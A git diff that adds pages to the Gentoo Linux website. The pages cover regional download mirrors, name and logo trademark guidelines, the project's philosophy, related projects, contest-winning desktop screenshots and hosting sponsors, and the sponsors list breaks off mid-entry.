+</mirror>
+<mirror>
+  <name>lecl.net</name>
+  <uri protocol="http">http://ftp.lecl.net/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.lecl.net/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Daum Communications Corp</name>
+  <uri protocol="http">http://ftp.daum.net/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="MY">
+<mirror>
+  <name>Multimedia University</name>
+  <uri protocol="http">http://archive.mmu.edu.my/gentoo</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="RU">
+<mirror>
+  <name>Yandex.ru</name>
+  <uri protocol="http">http://mirror.yandex.ru/gentoo-distfiles/</uri>
+  <uri protocol="ftp">ftp://mirror.yandex.ru/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>Bloodhost.ru</name>
+  <uri protocol="http">http://gentoo.bloodhost.ru/</uri>
+  <uri protocol="ftp">ftp://gentoo.bloodhost.ru/</uri>
+  <uri protocol="rsync">rsync://gentoo.bloodhost.ru/gentoo-distfiles</uri>
+</mirror>
+<mirror>
+  <name>corbina.ru</name>
+  <uri protocol="http">http://mirror2.corbina.ru/gentoo-distfiles/</uri>
+  <uri protocol="ftp">ftp://mirror2.corbina.ru/gentoo-distfiles/</uri>
+  <uri protocol="rsync">rsync://mirror2.corbina.ru/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>xeon.gentoo.ru</name>
+  <uri protocol="ftp">ftp://xeon.gentoo.ru/mirrors/Gentoo/</uri>
+  <uri protocol="rsync">rsync://xeon.gentoo.ru/gentoo-distfiles</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="TH">
+<mirror>
+  <name>gentoo.in.th</name>
+  <uri protocol="http">http://gentoo.in.th/</uri>
+  <uri protocol="ftp">ftp://gentoo.in.th/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="TW">
+<mirror>
+  <name>National Center for High-Performance Computing</name>
+  <uri protocol="http" partial="y">http://ftp.twaren.net/Linux/Gentoo/</uri>
+  <uri protocol="ftp" partial="y">ftp://ftp.twaren.net/Linux/Gentoo/</uri>
+</mirror>
+<mirror>
+  <name>National Chi Nan University</name>
+  <uri protocol="ftp">ftp://ftp.ncnu.edu.tw/Linux/Gentoo/</uri>
+  <uri protocol="http">http://ftp.ncnu.edu.tw/Linux/Gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Providence University</name>
+  <uri protocol="ftp">ftp://ftp.cs.pu.edu.tw/Linux/Gentoo/</uri>
+  <uri protocol="http">http://ftp.cs.pu.edu.tw/Linux/Gentoo/</uri>
+</mirror>
+<mirror>
+  <name>National Chiao Tung University</name>
+  <uri protocol="ftp">ftp://gentoo.cs.nctu.edu.tw/gentoo/</uri>
+  <uri protocol="http">http://gentoo.cs.nctu.edu.tw/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Middle East" country="IL">
+<mirror>
+  <name>Hamakor FOSS Society</name>
+  <uri protocol="http">http://mirror.isoc.org.il/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.isoc.org.il/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Middle East" country="KW">
+<mirror>
+  <name>KEMS-Zajil</name>
+  <uri protocol="http">http://gentoo.kems.net</uri>
+  <uri protocol="ftp">ftp://gentoo.kems.net/mirrors/gentoo</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Middle East" country="KZ">
+<mirror>
+  <name>Neo Lab's</name>
+  <uri protocol="http">http://mirror.neolabs.kz/gentoo/pub</uri>
+  <uri protocol="ftp">ftp://mirror.neolabs.kz/gentoo/pub</uri>
+  <uri protocol="rsync">rsync://mirror.neolabs.kz/gentoo</uri>
+</mirror>
+</mirrorgroup>
+
+<countries>
+  <country code="AR">Argentina</country>
+  <country code="AT">Austria</country>
+  <country code="AU">Australia</country>
+  <country code="BA">Bosnia and Herzegovina</country>
+  <country code="BG">Bulgaria</country>
+  <country code="BR">Brazil</country>
+  <country code="BS">Bahamas</country>
+  <country code="CA">Canada</country>
+  <country code="CH">Switzerland</country>
+  <country code="CN">China</country>
+  <country code="CZ">Czech Republic</country>
+  <country code="DE">Germany</country>
+  <country code="DK">Denmark</country>
+  <country code="EE">Estonia</country>
+  <country code="ES">Spain</country>
+  <country code="FI">Finland</country>
+  <country code="FR">France</country>
+  <country code="GR">Greece</country>
+  <country code="HK">Hong Kong</country>
+  <country code="HU">Hungary</country>
+  <country code="IE">Ireland</country>
+  <country code="IL">Israel</country>
+  <country code="IS">Iceland</country>
+  <country code="IT">Italy</country>
+  <country code="JP">Japan</country>
+  <country code="KR">South Korea</country>
+  <country code="KW">Kuwait</country>
+  <country code="KZ">Kazakhstan</country>
+  <country code="LT">Lithuania</country>
+  <country code="LV">Latvia</country>
+  <country code="MY">Malaysia</country>
+  <country code="NL">Netherlands</country>
+  <country code="NO">Norway</country>
+  <country code="PL">Poland</country>
+  <country code="PT">Portugal</country>
+  <country code="RO">Romania</country>
+  <country code="RU">Russia</country>
+  <country code="SE">Sweden</country>
+  <country code="SG">Singapore</country>
+  <country code="SK">Slovakia</country>
+  <country code="TH">Thailand</country>
+  <country code="TR">Turkey</country>
+  <country code="TW">Taiwan</country>
+  <country code="UA">Ukraine</country>
+  <country code="UK">UK</country>
+  <country code="US">USA</country>
+</countries>
+
+</mirrors>
diff --git a/xml/htdocs/main/en/name-logo.xml b/xml/htdocs/main/en/name-logo.xml
new file mode 100644
index 00000000..e9d1a0ab
--- /dev/null
+++ b/xml/htdocs/main/en/name-logo.xml
@@ -0,0 +1,273 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/name-logo.xml,v 1.9 2005/12/11 12:53:17 swift Exp $ -->
+
+<guide link="/main/en/name-logo.xml" lang="en">
+<title>Gentoo Name and Logo Usage Guidelines</title>
+
+<author>
+  The Gentoo Foundation
+</author>
+
+<abstract>
+This document covers the guidelines on the Gentoo Name and Logo usage.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>Preliminaries</title>
+<section>
+<body>
+
+<p>
+This document describes proper use of the Gentoo name, the "g" logo and any 
+other associated marks for software and computer-related efforts that are not 
+under the direction of the Gentoo Foundation, Inc. If you
+have any questions about these guidelines, please contact <mail
+link="trustees@gentoo.org">Gentoo Foundation, Inc.</mail>
+</p>
+
+<p>
+Gentoo Foundation, Inc. reserve the right to change these terms from time to 
+time at their sole discretion. For that reason, we encourage you to review this 
+statement periodically.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Definitions</title>
+<section>
+<title>The Gentoo project</title>
+<body>
+
+<p>
+The volunteer development efforts currently directed by Gentoo Foundation, Inc.,
+a not-for-profit corporation.
+</p>
+
+</body>
+</section>
+<section>
+<title>Content produced by the Gentoo project</title>
+<body>
+
+<p>
+Any content that is copyright Gentoo Foundation, Inc.
+</p>
+
+</body>
+</section>
+<section>
+<title>The "g" logo</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>Gentoo artwork</title>
+<body>
+
+<p>
+All artwork produced by <e>the Gentoo project</e> (see above definition).
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo community site</title>
+<body>
+
+<p>
+A non-profit website whose primary objective is to provide any Gentoo 
+user with additional information on Gentoo and Gentoo-related topics.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ownership of marks</title>
+<section>
+<body>
+
+<p>
+The name "Gentoo" and the "g" logo are currently trademarks of Gentoo
+Foundation, Inc. 
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Use of Gentoo name</title>
+<section>
+<body>
+
+<p>
+You are permitted to use the Gentoo name in computer-related content, provided
+that:
+</p>
+
+<ol>
+  <li>
+    You acknowledge that the name "Gentoo" is a trademark of Gentoo
+    Foundation, Inc., and
+  </li>
+  <li>
+    you do not entitle any software project or computer-related product "Gentoo"
+    or have "Gentoo" appear within its name, and 
+  </li>
+  <li>
+    the fully-qualified domain name for your software project or
+    computer-related products does not contain "Gentoo", and
+  </li>
+  <li>
+    <e>
+      you clearly state that the content, project, site, product or any other
+      type of item with which the "Gentoo" name is associated is not part of the
+      Gentoo project and is not directed or managed by Gentoo Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+<p>
+We do not consider these restrictions to apply to the <uri 
+link="http://www.obsession.se/gentoo/">Gentoo file manager</uri> project, 
+developed by Emil Bink, as it is not an operating system project.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Use of Gentoo Logo and artwork</title>
+<section>
+<body>
+
+<p>
+You are permitted to use the Gentoo "g" logo and artwork copyright Gentoo
+Foundation, Inc. (hereafter called "Gentoo
+artwork") under the following conditions:
+</p>
+
+</body>
+</section>
+<section>
+<title>Commercial Use</title>
+<body>
+
+<p>
+Commercial use of the Gentoo "g" logo and Gentoo artwork is allowed for <e>any
+software or computer hardware product</e> that <e>contains</e> or is <e>based
+upon</e> content produced by the Gentoo project, or any project or service 
+referencing Gentoo or the Gentoo Project, provided that the following 
+conditions are met:
+</p>
+
+<ol>
+  <li>
+    You acknowledge that the "g" logo is a trademark of Gentoo Foundation,
+    Inc. and that any Gentoo artwork is copyright Gentoo Foundation, Inc., and
+  </li>
+  <li>
+    the artwork used is <e>not</e> the primary (largest) mark displayed on the
+    product, and is thus intended to convey that the product contains "content
+    produced by the Gentoo project", but is <e>not itself a product being sold
+    or supported</e> by Gentoo Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+<e>
+Commercial use of the Gentoo "g" logo and Gentoo artwork for any other
+purpose is expressly denied. 
+</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>Non-Commercial Use</title>
+<body>
+
+<p>
+Non-commercial use of the "g" logo and Gentoo artwork is permitted provided that
+the following conditions are met:
+</p>
+
+<ol>
+  <li>
+    You acknowledge that the "g" logo is a trademark of Gentoo Foundation,
+    Inc., and that any Gentoo artwork is copyright Gentoo Foundation, Inc, and,
+  </li>
+  <li>
+    the "g" logo and Gentoo artwork are used in content that pertain to "the
+    Gentoo project", as directed by the Gentoo Foundation, Inc., and not any
+    effort outside or beyond the authority of the Gentoo Foundation, Inc., and
+  </li>
+  <li>
+    <e>
+      you clearly state that the content, project, site, product or any other
+      type of item with which the "g" logo or Gentoo artwork is associated is
+      not part of the Gentoo project and is not directed or managed by Gentoo
+      Foundation, Inc.
+    </e>
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Community Projects</title>
+<section>
+<body>
+
+<p>
+Gentoo Foundation, Inc. grant Gentoo community sites, as
+defined above, the right to use the Gentoo name in their project name and
+fully qualified domain name provided that:
+</p>
+
+<ol>
+  <li>
+    the website clearly states, on each page, that the project is no official
+    Gentoo project by labelling itself as a "news site", "fan site", "unofficial
+    site" or "community site", and
+  </li>
+  <li>
+    the website does not closely mimic the name or layout of one of our 
+    official websites, and
+  </li>
+  <li>
+    you acknowledge that the name "Gentoo" is a trademark of Gentoo
+    Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+Any other use of the Gentoo name, logo and artwork remains bound by the
+beforementioned guidelines.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/main/en/philosophy.xml b/xml/htdocs/main/en/philosophy.xml
new file mode 100644
index 00000000..7e01a4e9
--- /dev/null
+++ b/xml/htdocs/main/en/philosophy.xml
@@ -0,0 +1,66 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/philosophy.xml,v 1.11 2007/03/16 10:40:44 neysx Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>The Philosophy of Gentoo</title>
+<author title="Author">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+This document explains the philosophy behind Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>The Philosophy of Gentoo</title>
+<section>
+<body>
+
+<p>
+Every user has work they need to do. The goal of Gentoo is to design tools and
+systems that allow a user to do that work as pleasantly and efficiently as possible,
+as <e>they</e> see fit. Our tools should be a joy to use, and should help the user
+to appreciate the richness of the Linux and free software community, and the
+flexibility of free software. This is only possible when the tool is designed to reflect and
+transmit the will of the user, and leave the possibilities open as to the final
+form of the raw materials (the source code.) If the tool forces the user to do
+things a particular way, then the tool is working against, rather than for, the
+user. We have all experienced situations where tools seem to be imposing their
+respective wills on us. This is backwards, and contrary to the Gentoo
+philosophy.
+</p>
+
+<p>
+Put another way, the Gentoo philosophy is to create better tools. When a tool
+is doing its job perfectly, you might not even be very aware of its presence,
+because it does not interfere and make its presence known, nor does it force
+you to interact with it when you don't want it to. The tool serves the user
+rather than the user serving the tool.
+</p>
+
+<p>
+The goal of Gentoo is to strive to create near-ideal tools.
+Tools that can accommodate the needs of many different users all with divergent
+goals. Don't you love it when you find a tool that does exactly what you want to
+do? Doesn't it feel great? Our mission is to give that sensation to as many
+people as possible.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Previous Chief Architect
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/projects.xml b/xml/htdocs/main/en/projects.xml
new file mode 100644
index 00000000..fc863b30
--- /dev/null
+++ b/xml/htdocs/main/en/projects.xml
@@ -0,0 +1,61 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Gentoo Linux Projects</title>
+
+<author title="Previous Chief Architect">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+
+<abstract>
+This page lists development projects that are not specifically Gentoo
+Linux-related.
+</abstract>
+
+<license/>
+
+<version>1.5</version>
+<date>2010-04-26</date>
+
+<chapter>
+<title>Gentoo Linux Projects</title>
+<section>
+<body>
+
+<p>
+<b><uri link="/proj/en/releng/catalyst/">Catalyst</uri></b> is the tool used by
+the Release Engineering team to create all Gentoo releases. Catalyst is capable
+of creating installation stages, GRP sets, and bootable LiveCDs.
+</p>
+
+<p>
+<b><uri link="/proj/en/infrastructure/tenshi/">Tenshi</uri></b> is a log
+monitoring program, designed to watch one or more log files for lines matching
+user defined regular expression and report on the matches. The regular
+expressions are assigned to queues which have an alert interval and a list of
+mail recipients. 
+</p>
+
+<p>
+<b><uri link="/proj/en/dynfw.xml">The dynfw firewall scripts</uri></b> are a
+collection of netfilter-based (<c>iptables</c>) firewall scripts designed to
+allow for an immediate, measured response against pending security threats.
+These <c>bash</c> scripts have been designed to work with nearly any
+netfilter-based firewall (including both "allow by default" and "deny by
+default" configurations).
+</p>
+
+<p>
+<b><uri link="/proj/en/site.xml">The XML projects page</uri></b> contains the
+complete <c>guide</c> XSLT engine that is used to create this entire site,
+including the main pages and online documentation. On this page, you can
+find a tarball that contains the complete sources that were used to generate the
+latest version of the <uri>http://www.gentoo.org</uri> Web site -- the one you
+are viewing now.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/shots.xml b/xml/htdocs/main/en/shots.xml
new file mode 100644
index 00000000..f6650cb6
--- /dev/null
+++ b/xml/htdocs/main/en/shots.xml
@@ -0,0 +1,251 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/shots.xml,v 1.44 2010/08/10 18:58:44 dabbott Exp $ -->
+
+<guide>
+<title>Gentoo Linux Screenshots</title>
+
+<author title="Previous Chief Architect">
+  <mail link="drobbins"/>
+</author>
+<author title="Author">
+  <mail link="swift"/>
+</author>
+<author title="Author">Sergey Kuleshov</author>
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+
+<abstract>
+Screenshots of Gentoo Linux in action.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.44</version>
+<date>2010-08-10</date>
+
+<!--
+  Method for publishing screenshots:
+  - Remove the bottom screenshot from the page; don't forget removing the images
+    from CVS afterwards as well
+  - Add the new screenshot on top of the page
+
+  We keep the 10 most recent screenshots so that we don't provide outdated
+  screenshots to our users.
+-->
+
+<chapter>
+<title>Here they are... click for larger PNG versions!</title>
+
+<section>
+<title>Disclaimer</title>
+<body>
+
+<p>
+The screenshots on this page are contributed by various Gentoo users.
+Information about the themes used, background images, etc. is not available
+through Gentoo. You will need to contact the author of the screenshot (if you
+can find this person) for more information.
+</p>
+
+<p>
+You can always try locating the authors on our #gentoo chat channel on
+irc.freenode.net or through the <uri link="http://forums.gentoo.org">Gentoo
+Forums</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>E17 EFL overlay (Chopinzee)</title>
+<body>
+
+<p>
+<b>First place 2010 screenshot contest!</b>
+</p>
+
+<p>
+The window manager is E17, built from the official EFL overlay with
+<c>itask-ng</c>. The window manager theme is A-SBlack2.edj for the main,
+grey.edj for the clock, and detour-glossy-red.edj for the <c>itask-ng</c> bar.
+The wallpaper is Black_wall.edj <c>gimp</c>ed to properly render at 1920x1080.
+The terminals are <c>x11-terms/terminal</c>, GTK theme is "crude." The
+application running in the busy shot is <c>mixxx</c>. The compositor is
+<c>ecomp</c> with the <c>ecomorph</c> module. The icons on the <c>itask-ng</c>
+bar are "Token Light."
+</p>
+
+<fig link="/images/shots/chopinzee-small.png" linkto="/images/shots/chopinzee.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Simple is Beautiful (whtwtr)</title>
+<body>
+
+<p>
+<b>Second place 2010 screenshot contest!</b>
+</p>
+
+<p>
+Simple is beautiful <e>but</e> it must be functional and provide the user with
+tangible information. 
+</p>
+
+<p>
+Shawn's box currently runs <c>compiz</c> as the window manager with
+<c>xfce4-panel</c>. The wallpaper is plain old #000000 (black). Two
+<c>app-admin/conky-1.8.0</c> instances render the desktop eye-candy. The first
+<c>conky</c> instance powers the ring meters. The rings represent cpu usage
+(large white rings), memory usage (green ring), and file system usage (yellow
+rings). The second <c>conky</c> instance runs the bottom info bar with uptime,
+temps, up/download speeds, calendar and curent time. The globe image is taken
+from die.net and is a "Mollweide" projection of the earth's day/night shadow and
+He uses <c>cron</c> plus a small script to update the image every hour. (The
+clouds are updated every three hours.) Cool, eh?
+</p>
+
+<fig link="/images/shots/whtwtr-small.png" linkto="/images/shots/whtwtr.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Xfce from the xfce-dev overlay (GentooApologetin)</title>
+<body>
+
+<p>
+<b>Third place 2010 screenshot contest!</b>
+</p>
+
+<p>
+Mona's custom Xfce environment is from the xfce-dev overlay. It's on an ~amd64
+desktop running <c>compiz-fusion</c>, modded Salmon gtk2 theme, recolored
+Humanity Colors icon theme, <c>conky</c> and <c>pcmanfm2</c> for the desktop,
+<c>lxterminal</c> and a fine-tuned claws-mail instance. It's completely
+lightweight and runs stable enough as her everyday main system.
+</p>
+
+<fig link="/images/shots/mona-small.png" linkto="/images/shots/mona.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Gnome Lover's Dream (shpaq)</title>
+<body>
+
+<p>
+<b>Fourth place 2010 screenshot contest!</b>
+</p>
+
+<p>
+The judges liked Michał's balance between icon theme, background, custom
+<c>conky</c> fonts and the whole look of his desktop.
+</p>
+
+<fig link="/images/shots/shpaq-small.png" linkto="/images/shots/shpaq.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Simple Elegance (nm)</title>
+<body>
+
+<p>
+<b>Fifth place 2010 screenshot contest!</b>
+</p>
+
+<p>
+The window manager is <c>dwm</c>. Terminal emulator: <c>urxvt</c>. Wallpaper: of
+unknown origin. Font: Proggy Tiny Slashed Zero.
+</p>
+
+<fig link="/images/shots/nm-small.png" linkto="/images/shots/nm.png"/>
+
+</body>
+</section>
+
+<section>
+<title>(Almost) default GNOME</title>
+<body>
+
+<p>
+Bartek's shot is another of the screenshot contest winners. Bartek got this
+decent look by using the depth illusion of a 3D wallpaper along with clever
+arrangement of pretty icons. This is good example of how a default theme can be
+used to create a beautiful screenshot.
+</p>
+
+<fig link="/images/shots/gnome-small.png" linkto="/images/shots/gnome.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Elegant black WM</title>
+<body>
+
+<p>
+Another winner of Gentoo Screenshot Contest is Mikołaj, a.k.a. mklimek, who is a
+KDE user so far, and he doesn't intend to change desktops. On his screenshot you
+can see some KDE utilities and icons . . . which looks kinda Gnome-like.
+</p>
+
+<fig link="/images/shots/rash-small.png" linkto="/images/shots/rash.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Space trip</title>
+<body>
+
+<p>
+Robert's screenshot demonstrates an appealing use of blue hues. Excluding
+<c>cairo-clock</c>, his KDE runs only Qt-based applications: <c>kopete</c>,
+<c>konsole</c>, and <c>amarok</c>. Robert also cares about his <c>irssi</c>
+theme, which is distinguished by green colors.
+</p>
+
+<fig link="/images/shots/sshotpw4-small.png" linkto="/images/shots/sshotpw4.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Even more gentooish</title>
+<body>
+
+<p>
+That is probably the most "Gentooish" screenshot here ever and personally for me
+it is the most beautiful. Alexander runs Gnome with the Lila icon set, which not
+only looks pretty but also befits a Gentoo workstation.
+</p>
+
+<fig link="/images/shots/Bildschirmfoto-small.png" linkto="/images/shots/Bildschirmfoto.png"/>
+
+</body>
+</section>
+
+<section>
+<title>Emerge that!</title>
+<body>
+
+<p>
+As you can tell, Massimiliano is going to build <c>media-video/dvdauthor</c> on
+his KDE box.
+</p>
+
+<fig link="/images/shots/darkgentoo2sf2-small.png" linkto="/images/shots/darkgentoo2sf2.png"/>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/main/en/sponsors.xml b/xml/htdocs/main/en/sponsors.xml
new file mode 100644
index 00000000..475be3e0
--- /dev/null
+++ b/xml/htdocs/main/en/sponsors.xml
@@ -0,0 +1,687 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/sponsors.xml,v 1.87 2010/08/26 01:38:59 robbat2 Exp $ -->
+
+<mainpage>
+<title>Gentoo Sponsors</title>
+
+<author title="Present author">
+  <mail link="robbat2" />
+</author>
+<author title="Past author">
+  <mail link="klieber" />
+</author>
+<author title="Past author">
+  <mail link="swift" />
+</author>
+<author title="Past editor">
+  <mail link="curtis119" />
+</author>
+
+<abstract>
+Sponsors of Gentoo
+</abstract>
+
+<license/>
+<version>2.10</version>
+<date>2010-08-26</date>
+
+<chapter>
+<title>Hosting Sponsors</title>
+
+<section>
+<body>
+
+<p>
+Gentoo would like to thank the following companies and organizations who 
+donate various services and equipment to further the development of Gentoo.
+Without these organizations, Gentoo would not be where it is today.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.1, Sun Mar 16 17:18:50 2003 UTC -->
+<section>
+<title>Oregon State University: Open Source Lab (OSUOSL)</title>
+<body>
+<!-- We want the two images to be adjacent, not stacked, but I can't get the
+     docs to do that! Help welcome. -->
+<fig link="/images/sponsors/osu-logo.png" linkto="http://oregonstate.edu" 
+     short="Oregon State University"/>
+<fig link="/images/sponsors/osuosl-logo.png" linkto="http://osuosl.org" 
+     short="OSU Open Source Lab"/>
+<p>
+Located at <uri link="http://oregonstate.edu">Oregon State University</uri>
+in beautiful Corvallis, Oregon, the <uri link="http://osuosl.org">Open Source 
+Lab</uri> is a focal point of development, hosting and other assorted services
+for the Open Source community.
+</p>
+<p>
+OSU provides several services to the Gentoo project.  In addition to 
+serving as the primary source mirror for Gentoo, they also provide 
+colocation space for several Gentoo servers.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.11, Wed Oct 8 12:50:59 2003 UTC  -->
+<section>
+<title>Indiana University (IU)</title>
+<body>
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu" 
+     short="Indiana University"/>
+<p>
+Indiana University was founded in Bloomington, Indiana in 1820.  The
+University has since then grown to eight campuses across Indiana, with a
+total enrollment reaching 100,000 graduate and undergraduate students.  IU
+offers 116 academic programs that are ranked in the nation's top 20.
+There are over 460,000 IU alumni worldwide.
+</p>
+<p>
+Indiana University provides colocation for Gentoo infrastructure servers, as 
+well as a high volume source and portage mirror.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.4, 2003/04/29 -->
+<section>
+<title>UltraDNS</title>
+<body>
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com" 
+     short="UltraDNS"/>
+<p>
+UltraDNS provides advanced, highly intelligent, and globally scalable directory
+service solutions that significantly enhance the performance and reliability of
+networks and mission critical information-exchange applications.
+</p>
+<p>
+UltraDNS provides DNS hosting services to the Gentoo project, including
+advanced features like <uri 
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional 
+DNS</uri> to provide load-balanced DNS services for our rsync.gentoo.org pool 
+of rsync servers, and <uri 
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri> to 
+provide server health monitoring and failover capabilities to our core 
+infrastructure servers.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.21, Wed Oct 20 12:37:03 2004 UTC -->
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com" 
+     short="Global Netoptex, Inc."/>
+<p>
+GNi is a leading provider of customer-centric managed services that extend 
+their customer's infrastructure and dramatically reduce their customer's total 
+cost of ownership. They provide the experts, resources and solutions to meet 
+and exceed their customer's unique on-site and off-site requirements.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.49, Wed Jun 18 18:50:39 2008 UTC -->
+<section>
+<title>Bytemark Hosting</title>
+<body>
+<fig link="/images/sponsors/bytemark_logo.png" linkto="http://www.bytemark.co.uk/r/gentoo-sponsors"
+     short="Bytemark Hosting"/>
+<p>
+Bytemark Hosting provide Gentoo Linux with servers and services which drive our
+network of global mirrors.  They are a leading Internet Service Provider (ISP)
+in the United Kingdom and provide scalable, powerful and affordable hosting
+with lots of "geek friendly" extras as standard. They've deployed Gentoo Linux
+within their network to provide a flexible solution to difficult problems, such
+as providing a network rescue environment for all dedicated hosts.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.49, Wed Jun 18 18:50:39 2008 UTC -->
+<section>
+<title>Hyves.net</title>
+<body>
+<fig link="/images/sponsors/hyves-logo.png" linkto="http://www.hyves.net/"
+     short="Hyves.net" />
+<p>
+Hyves provides Gentoo Linux with servers and hosting for the Bugzilla cluster.
+They are a cutting-edge European social network, and run <uri
+link="http://www.gentoo.org/news/en/gmn/20080424-newsletter.xml#doc_chap3">
+Gentoo on 1800+ servers</uri>.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v 1.71 2010/08/06 16:59:25 robbat2 Exp -->
+<section>
+<title>Euro-Web/SD-France</title>
+<body>
+<fig link="/images/sponsors/sdfrance-logo.png" linkto="http://www.sd-france.com"
+     short="gentoo dedicated servers provided by sd-france.com" />
+<p>
+Founded in 2003, Euro-WEB/SD-France provides advanced outsourcing solutions;
+leasing and hosting of dedicated servers; development and customized services
+for SME to large corporate clients. Coupled with best prices and outstanding
+customers support, Euro-Web/SD-France has over 5,000 customers and 850 managed
+servers. Euro-Web/SD-France supports the Gentoo project by providing them a
+number of powerful dedicated servers coupled with strong IPv6 connectivity.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.57, Tue Mar 10 23:37:34 2009 UTC -->
+<section>
+<title>SevenL Networks</title>
+<body>
+<fig link="/images/sponsors/sevenl_logo.png" linkto="http://www.sevenl.net/"
+     short="SevenL.net" />
+<p>
+SevenL Networks Inc. is a world leader in <uri
+link="https://www.sevenl.net/managed-hosting">managed hosting</uri>, <uri
+link="https://www.sevenl.net/dedicated-server">dedicated server</uri>, <uri
+link="https://www.sevenl.net/vps-hosting">VPS hosting</uri> and data center
+solutions. SevenL has been proudly donating dedicated servers services to
+Gentoo Linux since 2004. In addition, they donate a series of dedicated hosting
+servers to CentOS, Linux Mint, Arch Linux and a number of other open source
+communities that rely on sponsorship to succeed.
+</p>
+
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.83, 2010/08/26 00:37:48 robbat2 Exp -->
+<section>
+    <title>Tek Alchemy</title>
+<body>
+<p>
+<uri link="http://tek.net/">Tek Alchemy, Inc.</uri>, located in Austin, Texas
+provides dedicated servers, VPS, managed servers and colocation in the US. They
+host many Open Source Projects on dedicated servers including Gentoo. They
+cater the the "geek" customer, providing stock or custom hardware, custom
+operating system installations or "do it yourself" installations.  They offer
+dedicated servers with the operating system of your choice, including Gentoo,
+Debian, CentOS, Ubuntu, Fedora and more.
+</p>
+</body>
+</section>
+
+<!-- added: sponsors.xml, v1.50, Thu Jul 3 01:44:53 2008 UTC -->
+<section>
+<title>HardStyle GmbH: Edurium, Online Kredit Index, Fern Studiengang</title>
+<body>
+<p>
+HardStyle GmbH is a small development shop with diverse interests.  They follow
